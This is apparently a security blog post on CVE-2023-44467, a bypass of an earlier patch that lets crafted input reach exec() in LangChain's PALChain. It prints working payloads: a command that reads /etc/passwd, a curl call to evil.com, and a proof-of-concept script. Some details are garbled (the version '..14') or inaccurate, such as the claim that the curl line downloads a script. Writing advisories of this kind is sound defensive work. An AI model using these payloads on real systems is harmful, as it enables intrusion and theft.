---

Introduction

In October 2023, a vulnerability tracked as CVE-2023-36258 was discovered and patched in the langchain_experimental Python library. This bug allowed remote attackers to execute unwanted code through crafted input. However, as discovered later, version ..14 of langchain_experimental is still vulnerable in a new way: attackers can bypass the original fix and run malicious code via the PALChain class, specifically through the use of Python's exec() function. This post breaks down CVE-2023-44467: how it happens, why the patch failed, how to exploit it, and what to do about it.

Background: The PALChain and exec() in LangChain

The LangChain project enables developers to build applications powered by Large Language Models (LLMs). LangChain Experimental, as the name suggests, offers new and unstable components, one of which is PALChain, a chain used for executing Program-aided Language models.

Unfortunately, some versions of PALChain use Python's exec() on user input—one of the riskiest things you can do in coding:

# Before patch (simplified)
def execute_code(input_code):
    exec(input_code)

Python's exec() runs any string you give it as code. Without strict controls, this means users—even remote attackers—can run arbitrary Python code on your server.

How the Original Patch for CVE-2023-36258 Worked

The patch for CVE-2023-36258 attempted to sanitize the input to exec() by filtering out some dangerous patterns. However, this fix was incomplete and could be easily bypassed, leading to CVE-2023-44467.

CVE-2023-44467: What’s New?

In langchain_experimental ..14, the code still allows arbitrary input to reach an exec() call through PALChain, despite the earlier patch. Clever attackers can get their code through the (weak) filter and execute commands, which could lead to data theft, server control, or worse.

The filtering in the patch does not cover all ways malicious code can be written.

2. Attackers can use Python tricks (like string concatenation, or built-in functions in odd ways) to sneak their payload past simple text filters.

Let’s say you have a LangChain app using PALChain like this

from langchain_experimental.pal_chain import PALChain

chain = PALChain(python_executor=True)
user_input = "print('Hello, world!')"     # normal
# Vulnerable use:
chain.run(user_input)

What if a user submits

__import__('os').system('cat /etc/passwd')

This runs the OS command cat /etc/passwd, showing all users on a Linux system.

Full exploit

malicious_code = "__import__('os').system('curl http://evil.com/hostname')"
chain.run(malicious_code)

This downloads a script from an attacker's server.

Proof-of-Concept script

# Save as exploit.py, for educational demonstration only
from langchain_experimental.pal_chain import PALChain

chain = PALChain(python_executor=True)
payload = "__import__('os').system('touch /tmp/pwned')"
chain.run(payload)

Running this creates a file /tmp/pwned, showing code execution.

References

- Original CVE-2023-36258 description
- GitHub issue: Exploitable exec() in PALChain
- LangChain Experimental documentation

Check your dependency versions

pip show langchain-experimental

How to Fix

Do not ever pass untrusted input to PALChain’s python mode.

- Upgrade immediately once a secure release is available (monitor LangChain changelogs).
- Consider disabling python execution features or hardening input sanitation (though this is costly and error-prone).

Conclusion

CVE-2023-44467 highlights the dangers of exposing Python's exec() functionality—even after an initial patch, attackers can find bypasses. If you use langchain_experimental ..14 and accept any user input into PALChain, you are at high risk of arbitrary code execution. Patch or disable this feature as soon as possible.

Further Reading

- Unsafe use of exec() in Python
- Preventing Code Injection Attacks

Timeline

Published on: 10/09/2023 20:15:10 UTC
Last modified on: 10/12/2023 18:37:32 UTC